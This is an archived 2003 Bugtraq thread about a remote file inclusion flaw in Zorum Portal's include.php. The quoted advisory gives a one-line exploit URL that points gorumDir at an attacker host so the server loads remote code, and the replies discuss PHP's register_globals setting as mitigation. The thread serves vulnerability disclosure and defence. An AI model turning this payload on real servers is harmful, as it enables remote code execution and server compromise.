Re[2]: Zorum Portal (PHP)

[Messer]

Hello MGHz,

>>From: MGhz <magas@mail.lt>
>>To: bugtraq@securityfocus.com
>>Subject: Zorum Portal (PHP)
>>Date: 22 Jan 2003 19:45:26 -0000
>>
>>
>>
>>Version : 3.0;3.1;3.2
>>Website : http://zorum.phpoutsourcing.com/
>>Problem : Include file
>>
>>
>>File:
>>---------------------------------
>>include.php
>>---------------------------------
>>
>>PHP Code:
>>---------------------------------
>>[...]
>>include("$gorumDir/generformlib_multipleselection.php");
>>include("$gorumDir/generformlib_groupselection.php");
>>include("$gorumDir/generformlib_filebutton.php");
>>include("$gorumDir/group.php");
>>[...]
>>---------------------------------
>>
>>Exploit :
>>---------------------------------
>>http://[target]/[forum_dir]/include.php?gorumDir=http://[attacker]/
>>-->
>>include http://[attacker]/group.php on remote server
>>---------------------------------
>>
>>--
>>magas@mail.lt

In new versions of PHP (PHP 4.2.3 and higher) for reception of values
transmitted to the form it's necessary to write:

$Variable = $HTTP_GET_VARS ['var']; // Request Method - GET
or
$Variable = $HTTP_POST_VARS ['var']; // Request Method - POST


// example: http://host.com/script.php?var1=value1&var2=value2
$Var_1 = $HTTP_GET_VARS['var1'];
$Var_2 = $var2;
// $Var_1 == "value1"
// $Var_2 == ""

Messer.

[MightyE]

Messer wrote:

>Hello MGHz,
>
>
>
>In new versions of PHP (PHP 4.2.3 and higher) for reception of values
>transmitted to the form it's necessary to write:
>
>$Variable = $HTTP_GET_VARS ['var']; // Request Method - GET
>or
>$Variable = $HTTP_POST_VARS ['var']; // Request Method - POST
>
>
>// example: http://host.com/script.php?var1=value1&var2=value2
>$Var_1 = $HTTP_GET_VARS['var1'];
>$Var_2 = $var2;
>// $Var_1 == "value1"
>// $Var_2 == ""
>
>Messer.
>
Actually that's just the default. As per
http://www.php.net/manual/tw/configuration.directives.php#ini.register-globals
it is still possible to configure PHP to register global variables such
as $HTTP_POST_VARS['var'] as root level global variables, where your
above example would render $Var_2 == "value2". This is a directive set
in the php.ini file, and frequently required for reverse compatibility.
Setting register_globals to false in php.ini will circumvent many such
attacks, though it may break some scripts. The fact that it now
defaults to false will hopefully keep developers using $_POST, $_GET,
$HTTP_POST_VARS, and $HTTP_GET_VARS, which is far more secure.

-MightyE